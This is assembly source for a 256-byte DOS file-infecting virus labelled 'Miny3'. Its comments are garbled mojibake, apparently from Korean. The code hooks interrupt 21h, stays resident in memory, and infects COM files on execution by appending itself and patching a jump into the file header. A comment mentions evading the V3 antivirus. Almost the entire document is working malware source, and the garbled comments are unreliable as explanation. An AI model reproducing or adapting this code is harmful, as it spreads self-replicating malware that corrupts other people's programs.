;****************************************************************************** ;* MINY3.256 aa a * ;* * ;* * ;* 3 aA aa e aaA aw a lea ia * ;* a a. COM eqqAe w aaa. * ;* * ;* * ;* * ;****************************************************************************** PARASIZE EQU (TVirEND - Start + 0Fh) SHR 4 ; A aae a VIRUS SEGMENT PARA 'VIRUS' ASSUME CS:VIRUS, DS:VIRUS Start: call Next ; aa w˥a a ;************************************************** ; 21h a ;************************************************** NewInt21: xchg ah,al ; AH,AL t a cmp al,4Bh ; Зa? jnz J_Int21 cmp ah,30h ; w a aa? jnz Push_All xor ax,ax ; xae 0000i a IRET Push_All: ; Aa w Pushf Push ax Push bx Push cx Push dx Push ds Push si mov ax,3D02h ; a e a Int 21h jc Pop_All ; Ae { push cs ; CS=DS pop ds xchg bx,ax ; BX=a Ѕi Read_File: mov ah,3Fh ; i mov dx,offset Org4bytes ; 4 aa mov si,dx ; SI=e mov cx,0004h ; int 21h ChkFileisEXE: cmp byte ptr [SI],'M' ; EXE a a? jz Close_File ; EXE e a ia Infect_COM: cmp byte ptr [SI+3],43h ; qqa a jz Close_File ; (V3 w ti aa ; qqeQ) mov al,02h ; a A ᝡ call Set_Pnt cmp ax,1234 ; 1234 a bea? jb Close_File cmp ax,65000 ; 65000 a ea? ja Close_File sub ax,0003 ; a -3 = ai á mov word ptr Filehead+1,ax mov byte ptr Filehead+3,43h ; qqa ai mov ah,40h ; aa a mov cx, offset VirEND ; (256 aa) xor dx,dx ; Int 21h mov al,00h ; a qa call Set_Pnt mov ah,40h ; aa a mov dx, offset FileHead ; (|A Ёw) mov cx,0004h ; Jump wwa ͡qЁ 4a Int 21h ; a Close_File: ; a h mov ah,3eh ; ,iawe qqI a Int 21h ; a. Pop_All: ; Aa Pop si Pop ds Pop dx Pop cx Pop bx Pop ax Popf J_Int21: ; int 21 a xchg ah,al DB 0EAh ; JMP ww OldInt21 DD ? ;************************************************* ; aa w aa ;************************************************* Next: pop BP ; BPA CALL ѡ‰E aqt sub bp, +03 ; -3 ae aa b mov AX,304Bh ; w a a xchg ah,al ; AX=4B30 Int 21h ; or ax,ax ; AX t 0000e A aaa jz Restart_COM ; A aaa i w mov ah,0F0h ; ϩa mov ch,'S' ; ϩa MOV BX,ES ; MCB a NOP DEC BX ; -1 : Memory Control Block mov ds,bx NOP xor bx,bx ; BX=0000 Inc bl ; BL=01 cmp byte ptr [BX-1],'Z' ; ab iⷥa? jnz Restart_COM ; ae w eq NOP mov AX, PARASIZE ; a sub word ptr [BX+02],AX ; i aa(BX=0003) NOP sub word ptr [BX+11h],AX ; aq A iⷁ Aaa 廡 mov cl,'V' ; BX=0012 (mov cl,'V'e ϩaq) mov es,word ptr [BX+11h] ; ; Int 21h a xor ax,ax ; DS=0000 mov ds,ax lds AX, [BX+83h] ; DI=0084h mov word ptr ss:[BP+OldInt21+2],DS mov word ptr ss:[BP+OldInt21],AX push cs ; aai Awᝡ aea. pop ds mov si,BP ; SI=aa b xor di,di mov cx,offset TVirEND ; cld repz movsb ; a mov ds,cx ; Int 21h i aea. cli mov word ptr [BX+85h],es ; mov word ptr [BX+83h],offset NewInt21 sti Restart_COM: mov si,BP ; SI = b push cs pop ds push cs ; ds=es pop es ; aa Зa add si,offset Org4bytes ; wwa wE mov di,0100h ; q 4 aa push di movsw ; a movsw RET ; З NOP Org4bytes db 90h,90h,0cdh,20h ; 4 aa t Set_Pnt: ; á ww mov ah,42h xor cx,cx xor dx,dx Int 21h RET DB 'Miny3' ; aa q FileHead DB 0E9h ; JMP ww ; a aAe eaa VirEND: ; qqI a |A a DB ?,?,? ; ww TVirEND: ; A ae VIRUS ENDS end start